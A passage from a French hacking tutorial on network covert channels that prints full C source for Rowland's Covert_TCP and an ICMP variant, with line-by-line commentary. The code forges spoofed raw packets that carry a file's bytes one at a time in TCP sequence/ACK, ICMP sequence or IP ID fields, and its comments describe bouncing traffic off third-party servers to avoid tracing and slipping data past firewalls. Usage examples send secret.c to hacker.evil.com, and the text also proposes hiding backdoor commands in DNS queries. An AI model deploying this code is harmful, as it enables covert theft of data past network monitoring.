141 if (seq==1)
142 {
143 printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
144 fprintf(output,"%c",recv_pkt.tcp.seq);
145 fflush(output);
146 }
147 /* Use a bounced packet from a remote server to decode the data */
148 /* This technique requires that the client initiates a SEND to */
149 /* a remote host with a SPOOFED source IP that is the location */
150 /* of the listening server. The remote server will receive the packet */
151 /* and will initiate an ACK of the packet with the encoded sequence */
152 /* number+1 back to the SPOOFED source. The covert server is waiting at this */
153 /* spoofed address and can decode the ack field to retrieve the data */
154 /* this enables an "anonymous" packet transfer that can bounce */
155 /* off any site. This is VERY hard to trace back to the originating */
156 /* source. This is pretty nasty as far as covert channels go... */
157 /* Some routers may not allow you to spoof an address outbound */
158 /* that is not on their network, so it may not work at all sites... */
159 /* SENDER should use covert_tcp with the -seq flag and a forged -source */
160 /* address. RECEIVER should use the -server -ack flags with the IP of */
161 /* of the server the bounced message will appear from.. CHR */
162 /* The bounced ACK sequence number is really the original sequence*/
163 /* plus one (ISN+1). However, the translation here drops some of the */
164 /* bits so we get the original ASCII value...go figure.. */
165 else if (ack==1)
166 {
167 printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
168 fprintf(output,"%c",recv_pkt.tcp.ack_seq);
169 fflush(output);
170 }
171 }
172 }
173 else
174 {
175 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port))
176 {
177 if (seq==1)
178 {
179 printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
180 fprintf(output,"%c",recv_pkt.tcp.seq);
181 fflush(output);
182 }
183
184 else if (ack==1)
185 {
186 printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
187 fprintf(output,"%c",recv_pkt.tcp.ack_seq);
188 fflush(output);
189 }
190 }
191 }
192 close(recv_socket);
193 }
194 fclose(output);
195 }
196 unsigned short in_cksum(unsigned short *ptr, int nbytes)
197 {
198 register long sum; /* assumes long == 32 bits
199 */
200 u_short oddbyte;
201 register u_short answer; /* assumes u_short == 16 bits */
202 /*
203 * Our algorithm is simple, using a 32-bit accumulator (sum),
204 * we add sequential 16-bit words to it, and at the end, fold back
205 * all the carry bits from the top 16 bits into the lower 16 bits.
206 */
207 sum = 0;
208 while (nbytes > 1) {
209 sum += *ptr++;
210 nbytes -= 2;
211 }
212 /* mop up an odd byte, if necessary */
213 if (nbytes == 1) {
214 oddbyte = 0; /* make sure top half is zero */
215 *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
216 sum += oddbyte;
217 }
218 /*
219 * Add back carry outs from top 16 bits to low 16 bits.
220 */
221 sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
222 sum += (sum >> 16); /* add carry */
223 answer = ~sum; /* ones-complement, then truncate to 16 bits
224 */
225 return(answer);
226 }
227 unsigned int host_convert(char *hostname)
228 {
229 static struct in_addr i;
230 struct hostent *h;
231 i.s_addr = inet_addr(hostname);
232 if(i.s_addr == -1)
233 {
234 h = gethostbyname(hostname);
235 if(h == NULL)
236 {
237 fprintf(stderr, "cannot resolve %s\n", hostname);
238 exit(0);
239 }
240 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
241 }
242 return i.s_addr;
243 }
244 void usage(char *progname)
245 {
246 printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
247 filename -source_port port -dest_port port [encode type]\n\n",
248 progname);
249 printf("-dest dest_ip - Host to send data to.\n");
250 printf("-source source_ip - Host data will be coming FROM.\n");
251 printf("-source_port port - IP source port you want data to appear from. \n");
252 printf(" (randomly set by default)\n");
253 printf("-dest_port port - IP source port you want data to go to. In\n");
254 printf(" SERVER mode this is the port data will be coming\n");
255 printf(" inbound on. Port 80 by default.\n");
256 printf("-file filename - Name of the file to encode and transfer.\n");
257 printf("[Encode Type] - Optional encoding type\n");
258 printf("-seq - Encode data a byte at a time in the packet sequence \
259 number.\n");
260 printf("-ack - DECODE data a byte at a time from the ACK field.\n");
261 printf(" This ONLY works from server mode and is made to decode\n");
262 printf(" covert channel packets that have been bounced off a remote\n");
263 printf(" server using -seq. See documentation for details\n");
264 printf("\nPress ENTER for examples.");
265 getchar();
266 printf("\nExample: \nserver -dest foo.bar.com -source hacker.evil.com - \
267 dest_port 80 -file secret.c\n\n");
268 printf("Above listens passively for packets from hacker.evil.com\n");
269 printf("destined for port 80. It takes the data and saves the file locally\n");
270 printf("as secret.c\n\n");
271 exit(0);
272 }
Dans server.c:
lignes 28 à 105: on filtre les données passées au programme.
lignes 111 à 116: on créé une structure contenant les
header IP et TCP et le corps.
lignes 127 à 136: on mets en écoute le serveur. Ici le code
est particulièrement sale étant donné qu'il n'y a aucune
vérification avant le read(). Mais si vous voulez l'améliorer
libre à vous :).
[Note Pour les Newbies: on passe en argument à read() l'adresse de
la structure contenant les formats des header, cette technique s'appelle
un cast].
lignes 137 à 146: on récupère les données dans
le champ N° de Séquence et on les écris dans un fichier.
lignes 147 à 164: un commentaire explicant le fonctionnement de la
technique utilisant le N° de ACK, l'auteur du code explique que comme
certains bits sont perdus pendant la translation integer vers char malgré
que le N° de ACK soit différent du N° de Séquence,
la valeur au finale reste la même.
lignes 165 à 170: on récupère les données dans
ce fameux champ N° de ACK.
lignes 173 à 191: on recommence (même chose que lignes 137
à 164) sauf que ce coup-ci le port source est défini par l'utilisateur
et on le compare par rapport au port source contenu dans l'header TCP ligne
175.
Pour la suite il s'agit des mêmes fonctions que pour le client qui
font strictement la même chose.
Bon comme ce code n'est pas de moi je vais éviter de trop cracher
dessus :) mais comme vous le voyez l'auteur dit bien qu'il s'agit d'un proof
of concept et qu'il peut être facilement améliorer. Déjà
on pourrait mettre un système de gestion des erreurs, utiliser le
multi-threads...
[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc793.html
[FrameIp]
http://www.frameip.com/entetetcp/
[ROWLANDCOVER]
http://ouah.kernsh.org/rowlandcover.htm
Exemple: Protocole UDP
Comme d'habitude si vous voulez plus d'informations sur le protocole UDP
allez voir la [RFC] ou sur [FrameIp].
Le header UDP ressemble à ça :
On voit très vite que cet header ne présente que peu d'intérêt
pour nous, tous les champs sont utiliser lors des communication il est donc
impossible d'y inclure des données.
Les paquets UDP tout comme TCP utilisent un pseudo header pour se protéger
des erreurs de routage:
Et là aussi on ne peut pas en tiré grand chose...
Mais qu'à cela ne tienne il existe encore une partie des paquets
UDP non utiliser, le corps.
Bien sûr il ne faut pas balancer ses données comme ça
dans le corps, ce serait bien trop visible.
La technique la plus utilisée par les hackers est généralement
de planquer les données dans les requêtes DNS.
Ce protocole est extrêmement utiliser et je vous propose d'aller voir
la [RFC] DNS pour mieux connaître ce protocole.
Il existe dans le header des paquets DNS un champ appeler name qui ressemble
à 217.224.247.80.in-addr.arpa.
Les 4 premiers nombres sont une adresse ip, suivie généralement
de .in-addr.arpa. Là ou l'on peut cacher des données c'est
dans les 4 premiers nombres mais il ne faut pas que ceux-ci dépasse
255 ou soient négatif. Il faut donc formatter les données
mais dans le cas où l'on envoie une commande à une backdoor,
c'est largement suffisant.
Pour le covert channel DNS je vous laisse trouver des utilitaires qui le
font (allez voir à la fin de l'article).
De plus au niveau de la programmation de DNS on utilise les sock_dgram qui
ne nécessite pas les droits root.
[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc768.html
[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc1034.html
[FrameIp]
http://www.frameip.com/enteteudp/
Exemple: Protocole ICMP
Le protocole ICMP est un protocole de choix en matière de covert
channel ou même de tunneling.
Pour utiliser le protocole ICMP on utilise les sock_raw et donc le programme
nécessite les droits root.
Vous avez l'habitude maintenant, pour plus d'informations sur le protocole
ICMP allez voir la [RFC].
Le header ICMP est bien plus simple que les autres, même comparer
aux deux header UDP.
Le header ICMP ressemble à:
Il n'y a que deux champs qui peuvent nous intéresser :
- Identifiant: il peut être utilisé par l'émetteur du
message d'écho afin d'associer facilement l'écho et sa réponse
(tout comme le numéro de port destination pour TCP ou UDP). On lui
attribue généralement le numéro de PID du processus.
- Numéro de Séquence: Son utilité est la même
que l'identifiant en complément de celui-ci. Il est généralement
incrémenter de 1 à chaque message d'écho envoyer.
Ces deux champs représentent 32 bits ce qui est pas mal dans un header.
Si vous ne voulez pas vous tapez toute la RFC, allez donc sur [FrameIp].
Le code source utilise le champ N° de Séquence pour caché
les données.
En pratique cela donne :
Ce code viens de moi mais est fortement inspiré du code précédent
de Rowland.
client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/icmp.h>
12 void forgepacket(unsigned int, unsigned int, char *);
13 unsigned int host_convert(char *);
14 unsigned short in_cksum(unsigned short *, int);
15 void usage(char *);
client.c:
1 #include "client.h"
2 int main(int argc, char *argv[]) {
3 unsigned int source_host=0,dest_host=0;
4 int file=0;
5 int count;
6 char desthost[80],srchost[80],filename[80];
7 if(geteuid() !=0)
8 {
9 printf("\nYou need to be root to run this.\n\n");
10 exit(0);
11 }
12
13 if((argc < 5) || (argc > 13))
14 {
15 usage(argv[0]);
16 exit(0);
17 }
18 for(count=0; count < argc; ++count)
19 {
20 if (strcmp(argv[count],"-dest") == 0)
21 {
22 dest_host=host_convert(argv[count+1]);
23 strncpy(desthost,argv[count+1],79);
24 }
25
26 else if (strcmp(argv[count],"-source") == 0)
27 {
28 source_host=host_convert(argv[count+1]);
29 strncpy(srchost,argv[count+1],79);
30 }
31 else if (strcmp(argv[count],"-file") == 0)
32 {
33 strncpy(filename,argv[count+1],79);
34 file=1;
35 }
36 }
37 if(file != 1)
38 {
39 printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
40 exit(1);
41 }
42 if (source_host == 0 && dest_host == 0)
43 {
44 printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
45 exit(1);
46 }
47 else
48 {
49 printf("Destination Host: %s\n",desthost);
50 printf("Source Host : %s\n",srchost);
51 printf("Encoded Filename: %s\n",filename);
52 printf("Encoding Type : ICMP Seq\n");
53 printf("\nClient Mode: Sending data.\n\n");
54
55 }
56
57 forgepacket(source_host, dest_host, filename);
58 exit(0);
59 }
60 void forgepacket(unsigned int source_addr, unsigned int dest_addr, char *filename) {
61 struct send_icmp
62 {
63 struct iphdr ip;
64 struct icmphdr icmp;
65 } send_icmp;
66 int ch, szpkt;
67 int send_socket;
68 struct sockaddr_in sin;
69 FILE *input;
70
71 srand((getpid())*(sizeof(int)));
72 szpkt=sizeof(struct iphdr) + sizeof(struct icmphdr);
73
74 if((input=fopen(filename,"rb"))== NULL) {
75 printf("I cannot open the file %s for reading\n",filename);
76 exit(1);
77 }
78
79 else while((ch=fgetc(input)) !=EOF)
80 {
81 sleep(1);
82 send_icmp.ip.ihl = 5;
83 send_icmp.ip.version = 4;
84 send_icmp.ip.tos = 0;
85 send_icmp.ip.tot_len = htons(40);
86 send_icmp.ip.id = (int)(255.0*rand()/(RAND_MAX+1.0));
87 send_icmp.ip.frag_off = 0;
88 send_icmp.ip.ttl = 64;
89 send_icmp.ip.protocol = IPPROTO_ICMP;
90 send_icmp.ip.check = 0;
91 send_icmp.ip.saddr = source_addr;
92 send_icmp.ip.daddr = dest_addr;
93 send_icmp.icmp.type = 8;
94 send_icmp.icmp.code = 0;
95 send_icmp.icmp.un.echo.id = 1000;
96
97 send_icmp.icmp.un.echo.sequence = ch;
98
99 sin.sin_family = AF_INET;
100 sin.sin_addr.s_addr = send_icmp.ip.daddr;
101 send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
102 if(send_socket < 0)
103 {
104 perror("send socket cannot be open. Are you root?");
105 exit(1);
106 }
107
108 send_icmp.ip.check = in_cksum((unsigned short *)&send_icmp.ip, 20);
109
110 send_icmp.icmp.checksum = 0;
111 send_icmp.icmp.checksum = in_cksum((unsigned short *)&send_icmp.icmp, sizeof(struct icmphdr));
112
113 sendto(send_socket, &send_icmp, szpkt, 0, (struct sockaddr *)&sin, sizeof(sin));
114 printf("Sending Data: %c\n",ch);
115 close(send_socket);
116 }
117 fclose(input);
118 }
119 unsigned int host_convert(char *hostname){
120 static struct in_addr i;
121 struct hostent *h;
122 i.s_addr = inet_addr(hostname);
123 if(i.s_addr == -1)
124 {
125 h = gethostbyname(hostname);
126 if(h == NULL)
127 {
128 fprintf(stderr, "cannot resolve %s\n", hostname);
129 exit(0);
130 }
131 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
132 }
133 return i.s_addr;
134 }
135 unsigned short in_cksum(unsigned short *data, int taille)
136 {
137 unsigned long checksum=0;
138 // ********************************************************
139 // Complement a 1 de la somme des complément a 1 sur 16 bits
140 // ********************************************************
141 while(taille>1)
142 {
143 checksum=checksum+*data++;
144 taille=taille-sizeof(unsigned short);
145 }
146 if(taille)
147 checksum=checksum+*(unsigned char*)data;
148 checksum=(checksum>>16)+(checksum&0xffff);
149 checksum=checksum+(checksum>>16);
150 return (unsigned short)(~checksum);
151 }
152 void usage(char *progname){
153 printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
154 filename\n\n",
155 progname);
156 printf("-dest dest_ip - Host to send data to.\n");
157 printf("-source source_ip - Host where you want the data to originate \
158 from.\n");
159 printf("-file filename - Name of the file to encode and transfer.\n");
160 printf("\nPress ENTER for examples.");
161 getchar();
162 printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
163 printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
164 printf("at a time using the default ICMP packet Seq encoding.\n");
165 exit(0);
166 }
Bon on va passer directement au contenu de client.c vous savez maintenant
à quoi sert client.h
lignes 2 à 56: on filtre les arguments passés au programme.
ligne 57: on appel forgepacket() qui s'occupe du plus important.
ligne 71: on initialise le générateur de nombre pseudo-aléatoire
à l'aide d'une graine pas assez variable (à améliorer).
ligne 72: pour améliorer le code je calcul la taille réelle
des header IP+ICMP pour la passer à sendto() ligne 113.
La suite est quasiement pareil que pour TCP sauf:
ligne 97: on mets le caractère dans le champ N° de Séquence.
ligne 110: pour calculer le checksum d'un paquet ICMP il faut initialiser le champ à
0 (ce qui n'est pas obligatoire pour TCP).
lignes 135 à 151: on utilise une autre fonction pour calculer le
checksum. La façon de le calculer varie en fonction du protocole
: UDP et TCP ont besoin de la fonction du code précédent,
IGMP et ICMP ont besoin de cette routine.
Du côter du serveur:
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/icmp.h>
12 void forgepacket(unsigned int, unsigned int, char *);
13
14 unsigned int host_convert(char *);
15 void usage(char *);
server.c:
1 #include "server.h"
2 int main(int argc, char *argv[]){
3 unsigned int source_host=0,dest_host=0;
4 int ipid=0,file=0;
5 int count;
6 char desthost[80],srchost[80],filename[80];
7 if(geteuid() !=0)
8 {
9 printf("\nYou need to be root to run this.\n\n");
10 exit(0);
11 }
12 if((argc < 5) || (argc > 13))
13 {
14 usage(argv[0]);
15 exit(0);
16 }
17 for(count=0; count < argc; ++count)
18 {
19 if (strcmp(argv[count],"-dest") == 0)
20 {
21 dest_host=host_convert(argv[count+1]);
22 strncpy(desthost,argv[count+1],79);
23 }
24
25 else if (strcmp(argv[count],"-source") == 0)
26 {
27 source_host=host_convert(argv[count+1]);
28 strncpy(srchost,argv[count+1],79);
29 }
30 else if (strcmp(argv[count],"-file") == 0)
31 {
32 strncpy(filename,argv[count+1],79);
33 file=1;
34 }
35 }
38
39 if(file != 1)
40 {
41 printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
42 exit(1);
43 }
44
45 if(dest_host == 0)
46 strcpy(desthost,"Any Host");
47 if(source_host == 0)
48 strcpy(srchost,"Any Host");
49 printf("Listening for data from IP: %s\n",srchost);
50
51 printf("Decoded Filename: %s\n",filename);
52 printf("Decoding Type Is: ICMP Seq\n");
53 printf("\nServer Mode: Listening for data.\n\n");
54 forgepacket(source_host, dest_host, filename);
55 exit(0);
56 }
57 void forgepacket(unsigned int source_addr, unsigned int dest_addr, char *filename) {
58 struct recv_icmp
59 {
60 struct iphdr ip;
61 struct icmphdr icmp;
62 } recv_pkt;
63
64 struct sockaddr_in sin;
65
66 int recv_socket;
67 char *buf = (char *)malloc(2048*sizeof(char));
68 FILE *output;
69
70 srand((getpid())*(sizeof(int)));
71 if((output=fopen(filename,"wb"))== NULL) {
72 printf("I cannot open the file %s for writing\n",filename);
73 exit(1);
74 }
75 while(1)
76 {
77 recv_socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
78
79 if(recv_socket < 0)
80 {
81 perror("receive socket cannot be open. Are you root?");
82 exit(1);
83 }
84
85 read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
86
87 if((recv_pkt.icmp.type == 8) && (recv_pkt.icmp.code == 0)) {
88 printf("Receiving Data: %c\n",recv_pkt.icmp.un.echo.sequence);
89 fprintf(output,"%c",recv_pkt.icmp.un.echo.sequence);
90 fflush(output);
91 }
92 close(recv_socket);
93 }
94 fclose(output);
95 }
96 unsigned int host_convert(char *hostname)
97 {
98 static struct in_addr i;
99 struct hostent *h;
100 i.s_addr = inet_addr(hostname);
101 if(i.s_addr == -1)
102 {
103 h = gethostbyname(hostname);
104 if(h == NULL)
105 {
106 fprintf(stderr, "cannot resolve %s\n", hostname);
107 exit(0);
108 }
109 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
110 }
111 return i.s_addr;
112 }
113 void usage(char *progname)
114 {
115 printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename\n\n",
116 progname);
117 printf("-dest dest_ip - Host to send data to.\n");
118 printf("-source source_ip - Host data will be coming FROM.\n");
119 printf("-file filename - Name of the file to encode and transfer.\n");
120 printf("\nPress ENTER for examples.");
121 getchar();
122 printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
123 printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
124 printf("at a time using the default IP packet ID encoding.\n");
125 exit(0);
126 }
Bon on va passer directement au code qui nous intéresse, le reste
est trivial et déjà expliquer plus haut.
Dans server.c:
ligne 87 à 90: si on reçoit bien un echo request on récupère
le contenu du champ N° de Séquence du paquet reçu et on
le balance dans un fichier.
Il y a peut-être moyen d'utiliser une méthode avec rebond,
sachant que le N° de Séquence est incrémenté de
1 mais malheureusement cette spécificité n'est pas toujours
respecter dans la pratique.
Comme pour les autres codes il y a surement beaucoup d'améliorations
possibles.
[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc792.html
[FrameIp]
http://www.frameip.com/enteteicmp/
Exemple: Protocole IP
Le protocole IP est une couche en-dessous de ICMP, UDP ou TCP dans le modèle
OSI. Il s'agit d'un protocole principalement utiliser pour le routage des
données. Ce protocole possède un header assez simple bien
que contenant plus d'informations qu'ICMP. Pour plus d'informations sur
IP allez lire la [RFC].
Pour manipuler des paquets IP il faut utiliser les SOCK_RAW et donc il faut
les droits root.
Le header IP ressemble à ça:
Le champs qui peuvent nous intéresser sont:
- Le champ Identification: il est utiliser lorsque l'on fait de la fragmentation,
tous les fragments d'un paquet ont le même identifiant.
- Le champ TTL: acronyme de Time To Live ce champ permet de spécifier
le nombre de routeur que le paquet peut passer avant d'être détruit
(pour éviter les paquets "zombie").
Tout comme TCP, l'header IP possède un complément:
- Les options: Ce champ doit, à l'aide du bourrage, occuper une taille de 4 octets.
Si vous n'avez pas le courage de lire la RFC en entière, allez faire
un tour sur [FrameIp].
Le code source que je vais vous présentez a été écrit
par Rowland dans [ROWLANDCOVER]. Les données
sont cachées dans le champ Identifiant.
Passons à la pratique.
client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>
12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13 int);
14
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);
client.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
5 *
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header.
10 * This is useful for bypassing firewalls from the inside, and for
11 * exporting data with innocuous looking packets that contain no data for
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk.
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 *
21 * Portions of this code based on ping.c (c) 1987 Regents of the
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */
26 #include "client.h"
27 int main(int argc, char *argv[]) {
28 unsigned int source_host=0,dest_host=0;
29 unsigned short source_port=0,dest_port=80;
30 int ipid=0,file=0;
31 int count;
32 char desthost[80],srchost[80],filename[80];
33 if(geteuid() !=0)
34 {
35 printf("\nYou need to be root to run this.\n\n");
36 exit(0);
37 }
38
39 if((argc < 5) || (argc > 13))
40 {
41 usage(argv[0]);
42 exit(0);
43 }
44 for(count=0; count < argc; ++count)
45 {
46 if (strcmp(argv[count],"-dest") == 0)
47 {
48 dest_host=host_convert(argv[count+1]);
49 strncpy(desthost,argv[count+1],79);
50 }
51
52 else if (strcmp(argv[count],"-source") == 0)
53 {
54 source_host=host_convert(argv[count+1]);
55 strncpy(srchost,argv[count+1],79);
56 }
57 else if (strcmp(argv[count],"-file") == 0)
58 {
59 strncpy(filename,argv[count+1],79);
60 file=1;
61 }
62 else if (strcmp(argv[count],"-source_port") == 0)
63 source_port=atoi(argv[count+1]);
64 else if (strcmp(argv[count],"-dest_port") == 0)
65 dest_port=atoi(argv[count+1]);
66 }
67 ipid=1;
68 if(file != 1)
69 {
70 printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
71 exit(1);
72 }
73 if (source_host == 0 && dest_host == 0)
74 {
75 printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
76 exit(1);
77 }
78 else
79 {
80 printf("Destination Host: %s\n",desthost);
81 printf("Source Host : %s\n",srchost);
82 if(source_port == 0)
83 printf("Originating Port: random\n");
84 else
85 printf("Originating Port: %u\n",source_port);
86 printf("Destination Port: %u\n",dest_port);
87 printf("Encoded Filename: %s\n",filename);
88 printf("Encoding Type : IP ID\n");
89 printf("\nClient Mode: Sending data.\n\n");
90
91 }
92
93 forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
94 exit(0);
95 }
96 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
97 short source_port, unsigned short dest_port, char *filename, int ipid) {
98 struct send_tcp
99 {
100 struct iphdr ip;
101 struct tcphdr tcp;
102 } send_tcp;
103 struct pseudo_header
104 {
105 unsigned int source_address;
106 unsigned int dest_address;
107 unsigned char placeholder;
108 unsigned char protocol;
109 unsigned short tcp_length;
110 struct tcphdr tcp;
111 } pseudo_header
112 int ch;
113 int send_socket;
114 struct sockaddr_in sin;
115 FILE *input;
116
117 srand((getpid())*(dest_port));
118
119 if((input=fopen(filename,"rb"))== NULL)
120 {
121 printf("I cannot open the file %s for reading\n",filename);
122 exit(1);
123 }
124 else while((ch=fgetc(input)) !=EOF)
125 {
126 sleep(1);
127 send_tcp.ip.ihl = 5;
128 send_tcp.ip.version = 4;
129 send_tcp.ip.tos = 0;
130 send_tcp.ip.tot_len = htons(40);
131 send_tcp.ip.id =ch;
133 send_tcp.ip.frag_off = 0;
134 send_tcp.ip.ttl = 64;
135 send_tcp.ip.protocol = IPPROTO_TCP;
136 send_tcp.ip.check = 0;
137 send_tcp.ip.saddr = source_addr;
138 send_tcp.ip.daddr = dest_addr;
139 if(source_port == 0)
140 send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
141 else
142 send_tcp.tcp.source = htons(source_port);
143 send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
144 send_tcp.tcp.dest = htons(dest_port);
145 send_tcp.tcp.ack_seq = 0;
146 send_tcp.tcp.res1 = 0;
147 send_tcp.tcp.doff = 5;
148 send_tcp.tcp.fin = 0;
149 send_tcp.tcp.syn = 1;
150 send_tcp.tcp.rst = 0;
151 send_tcp.tcp.psh = 0;
152 send_tcp.tcp.ack = 0;
153 send_tcp.tcp.urg = 0;
154 send_tcp.tcp.ece = 0;
155 send_tcp.tcp.window = htons(512);
156 send_tcp.tcp.check = 0;
157 send_tcp.tcp.urg_ptr = 0;
158 sin.sin_family = AF_INET;
159 sin.sin_port = send_tcp.tcp.source;
160 sin.sin_addr.s_addr = send_tcp.ip.daddr;
161 send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
162 if(send_socket < 0)
163 {
164 perror("send socket cannot be open. Are you root?");
165 exit(1);
166 }
167 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
168
169 pseudo_header.source_address = send_tcp.ip.saddr;
170 pseudo_header.dest_address = send_tcp.ip.daddr;
171 pseudo_header.placeholder = 0;
172 pseudo_header.protocol = IPPROTO_TCP;
173 pseudo_header.tcp_length = htons(20);
174 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
175 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
176 sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
177 printf("Sending Data: %c\n",ch);
178 close(send_socket);
179 }
180 fclose(input);
181 }
182 unsigned int host_convert(char *hostname){
183 static struct in_addr i;
184 struct hostent *h;
185 i.s_addr = inet_addr(hostname);
186 if(i.s_addr == -1)
187 {
188 h = gethostbyname(hostname);
189 if(h == NULL)
190 {
191 fprintf(stderr, "cannot resolve %s\n", hostname);
192 exit(0);
193 }
194 bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
195 }
196 return i.s_addr;
197 }
198 unsigned short in_cksum(unsigned short *ptr, int nbytes){
199 register long sum; /* assumes long == 32 bits
200 */
201 u_short oddbyte;
202 register u_short answer; /* assumes u_short == 16 bits */
203 /*
204 * Our algorithm is simple, using a 32-bit accumulator (sum),
205 * we add sequential 16-bit words to it, and at the end, fold back
206 * all the carry bits from the top 16 bits into the lower 16 bits.
207 */
208 sum = 0;
209 while (nbytes > 1) {
210 sum += *ptr++;
211 nbytes -= 2;
212 }
213 /* mop up an odd byte, if necessary */
214 if (nbytes == 1) {
215 oddbyte = 0; /* make sure top half is zero */
216 *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
217 sum += oddbyte;
218 }
219 /*
220 * Add back carry outs from top 16 bits to low 16 bits.
221 */
222 sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
223 sum += (sum >> 16); /* add carry */
224 answer = ~sum; /* ones-complement, then truncate to 16 bits
225 */
226 return(answer);
227 }
228 void usage(char *progname){
229 printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
230 filename\n\n",
231 progname);
232 printf("-dest dest_ip - Host to send data to.\n");
233 printf("-source source_ip - Host where you want the data to originate \
234 from.\n");
235 printf("-source_port port - IP source port you want data to appear from. \n");
236 printf(" (randomly set by default)\n");
237 printf("-dest_port port - IP source port you want data to go to. In\n");
238 printf(" SERVER mode this is the port data will be coming\n");
239 printf(" inbound on. Port 80 by default.\n");
240 printf("-file filename - Name of the file to encode and transfer.\n");
241 printf("\nPress ENTER for examples.");
242 getchar();
243 printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com \
244 -file secret.c\n\n");
245 printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
246 printf("at a time using the default IP ID packet encoding.\n");
247 exit(0);
248 }
Alors tout comme le code précédent nous iront à l'essentiel
et voir ce qui est différent des codes précédents.
Tout d'abord remarquez que l'on forge un header TCP dans IP pour que le
paquet est vraiment l'air véridique.
Comparer au code sur le covert channel TCP:
ligne 131: contrairement à l'ancien code, Le champ Identification
de l'header IP est rempli avec nos données.
ligne 143: Le champ N° de Séquence de l'header TCP est bel et
bien rempli avec un nombre aléatoire.
Tout le reste du code est identique à celui sur les covert channel
TCP.
Côté serveur (ça se passe de commentaire).
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>
12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13 int);
14
15 unsigned int host_convert(char *);
16 void usage(char *);
server.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
5 *
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header.
10 * This is useful for bypassing firewalls from the inside, and for
11 * exporting data with innocuous looking packets that contain no data for
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk.
17 *
